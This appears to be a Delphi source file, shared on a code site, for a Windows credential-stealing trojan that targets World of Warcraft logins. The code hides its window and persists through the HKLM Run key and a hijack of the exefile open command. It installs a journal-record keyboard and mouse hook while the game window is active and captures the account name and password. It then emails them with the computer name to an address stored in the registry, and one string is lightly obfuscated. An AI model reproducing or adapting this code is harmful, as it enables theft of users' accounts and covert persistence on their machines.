📄 unitmain.~pas
字号:
unit UnitMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,UnitSendMail,Registry, ExtCtrls,TLHelp32, StdCtrls, Buttons;
type
TForm1 = class(TForm)
Timer1: TTimer;
Button1: TButton;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Const
ExeFile='MSSQL.exe';
DLLFiles='WinMSSQL.DLL';
KeyMask = $80000000;
var
Form1: TForm1;
KeyHook:Integer;
Hookok:boolean;
hookkey: string;
UserID:String;
InputUserID:boolean;
UserPSW:String;
InputUserPSW:boolean;
computerName:String;
EMailAddress:String;
implementation
{$R *.dfm}
Function Getsyspath():string;
var
TmppathP:pchar;
MaxBuf:Dword;
begin
MaxBuf:=255;
Getmem(tmppathP,MaxBuf);
GetSystemDirectory(tmppathp,MaxBuf);
Result:=strpas(tmppathp);
FreeMem(tmppathP);
end;
procedure SetAutoRun;
var
Myreg:Tregistry;
Regfilename:String;
begin
Regfilename:=application.ExeName;
Myreg:=Tregistry.Create;
Try
Myreg.RootKey:=HKEY_LOCAL_MACHINE;
Myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
Myreg.WriteString('MSSever',Regfilename);
Myreg.RootKey:=HKEY_CLASSES_ROOT;
Myreg.OpenKey('\exefile\shell\open\command',True);
Myreg.WriteString('',Regfilename+' "%1" %*');
finally
Myreg.free;
end;
end;
{得到计算机名}
function GetComputerNameD:string;
var
Buffer: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
BSize:Cardinal;
begin
BSize:=SizeOf(Buffer);
if GetComputerName(Buffer,BSize) then
begin
Result:=Buffer;
end
else Result:='';
end;
Function GetEMailAddress:string;
var
Myreg:Tregistry;
RegStr:String;
cnt:string;
begin
Myreg:=Tregistry.Create;
Try
Myreg.RootKey:=HKEY_LOCAL_MACHINE;
Myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\msmt',False);
RegStr:=Myreg.ReadString('em');
finally
Myreg.free;
end;
result:=RegStr;
end;
function DeStr(s:String):string;
var
i:integer;
temp:String;
begin
Result:='';
for i:=1 to length(s) do
begin
temp:=copy(s,i,1);
Result:=Result+chr(ord(temp[1])-1);
end;
end;
function IsMs:Integer;
var
isOK:Boolean;
ProcessHandle:Thandle;
ProcessStruct:TProcessEntry32;
begin
Result:=0;
ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
processStruct.dwSize:=sizeof(ProcessStruct);
isOK:=process32first(ProcessHandle,ProcessStruct);
while isOK do
begin
if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('WOW.EXE') then//进程名-------------------1
begin
Result:=ProcessStruct.th32ProcessID;
Break;
end;
isOK:=process32next(ProcessHandle,ProcessStruct);
end;
CloseHandle(ProcessHandle);
end;
procedure show_numberpassword(QQnumber,QQPws:string);
var
dc:thandle;
Str:string;
F:textfile;
dnshost:String;
SendMail:TSendMail;
begin
if (QQnumber='') or (QQPws='') then exit;
Str:='帐号:'+QQnumber+chr(13)+chr(10);
Str:=Str+'密码:'+QQPws+chr(13)+chr(10);
//AssignFile(F,'c:\tem.txt');
//Rewrite(F);
//writeln(F,Str);
//Closefile(F);
str:=str+chr(13)+chr(10)+chr(13)+chr(10);
str:=str+DeStr('Hfu!uif!Bddpvout!gspn!')+ComputerName+DeStr('!bu!')+datetimetostr(date)+' '+timetostr(time)+chr(13)+chr(10)+chr(13)+chr(10);
SendMail:=TSendMail.Create;
SendMail.SendMail(EMailAddress,'磨兽邮件',str);
end;
procedure LogoMouse(Wpa,Lpa:integer);
var
Rect:TRect; Cpoint:Tpoint;
Begin
if (Wpa=$0201) then begin //WM_LBUTTONDOWN
getcursorpos(Cpoint);
Rect.Left :=350;
Rect.Top :=303;
Rect.Right :=465;
Rect.Bottom :=325;
if (ptinrect(Rect,Cpoint)) then begin
UserID:='';
InputUserID:=True;
InputUserPSW:=false;
hookkey:='';
end;
Rect.Left :=350;
Rect.Top :=361;
Rect.Right :=465;
Rect.Bottom :=380;
if (ptinrect(Rect,Cpoint)) then begin
UserID:=hookkey;
UserPSW:='';
InputUserPSW:=True;
InputUserID:=false;
hookkey:='';
end;
Rect.Left :=350;
Rect.Top :=415;
Rect.Right :=465;
Rect.Bottom :=432;
if (ptinrect(Rect,Cpoint)) then begin
hookkey:='';
show_numberpassword(UserID, UserPSW);
Hookok:=False;
end;
end;
end;
procedure LogoKey(Lpa,Wpa:integer);
var
PEvt: ^EVENTMSG;
ch: Char;
vKey: Integer;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
str: array[0..12] of Char;
FocusWnd: HWND;
function Keyhookresult(lP: integer; wP: integer): boolean;
begin
result:=false;
if lP=7181 then //: key := '#13';//result := '[Enter]';
result:=true;
end;
Begin
if Keyhookresult(peventMsg(Lpa)^.paramL,peventMsg(Lpa)^.paramH) then begin //((Lpa and $80000000)=0) and (Wpa=13) // and (n=2) and (getfocus=PWhand)
hookkey:='';
show_numberpassword(UserID, UserPSW);
InputUserID:=true;
InputUserPSW:=false;
Hookok:=False;
Exit;
end;
pEvt := Pointer(DWord(Lpa));
if pEvt.message = $0100 then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1);
if Length(hookkey)>255 then Delete(hookkey,1,100);
if ((vKey >= 48) and (vKey <= 57)) then
begin
if not bShift then
begin
ch := Char(vKey);
end else begin
case vKey of
48: ch := ')';
49: ch := '!';
50: ch := '@';
51: ch := '#';
52: ch := '$';
53: ch := '%';
54: ch := '^';
55: ch := '&';
56: ch := '*';
57: ch := '(';
end;
end;
hookkey := hookkey + ch;
end;
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
hookkey := hookkey + ch;
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
hookkey := hookkey + Char(vKey - 96 + 48);
ch := 'n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
hookkey := hookkey + ch;
// if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[退格]';
9: str := '';//[TAB]
13: str := '[Enter]';
32: str := '[空格]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
hookkey := hookkey + str;
end;
end;
end;
if vKey=9 then begin
if InputUserPSW=false then begin
InputUserPSW:=true;
InputUserID:=false;
UserID:=hookkey;
hookkey:='';
end
else begin
InputUserPSW:=false;
InputUserID:=true;
hookkey:='';
end;
end;
if InputUserID=True then
UserID:=hookkey
else if InputUserPSW=true then
UserPSW:=hookkey;
End;
function isms_window:boolean;
begin
if findwindow('GxWindowClassD3d',nil)=GetForegroundWindow then
result:=true
else result:=false;
end;
function KeyProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var i:integer;
Begin
if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
if isms_window and Hookok then begin
if (PEventMsg(lparam)^.message =$0100) then begin// WM_KEYDOWN or (PEventMsg(lparam)^.message =$0101) WM_KEYUP
LogoKey(lParam, wParam);
end else if (PEventMsg(lparam)^.message =$0201) then begin //WM_LBUTTONUP $0202
LogoMouse(peventMsg(lparam)^.message, peventmsg(lparam)^.message);
end;
end;
End;
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
ServerName,ZB:string;
ok:boolean;
begin
if (IsMs<>0) then
begin
if KeyHook<>0 then
if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);
end else begin
Hookok:=true;
hookkey:='';
if KeyHook<>0 then
if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.ShowMainForm:=False;
Hookok:=true;
SetAutoRun;
EMailAddress:=GetEMailAddress;
computerName:=GetComputerNameD;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
SendMail:TSendMail;
begin
//SendMail:=TSendMail.Create;
//SendMail.SendMail('webmaster@codesky.net','磨兽邮件','str');
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -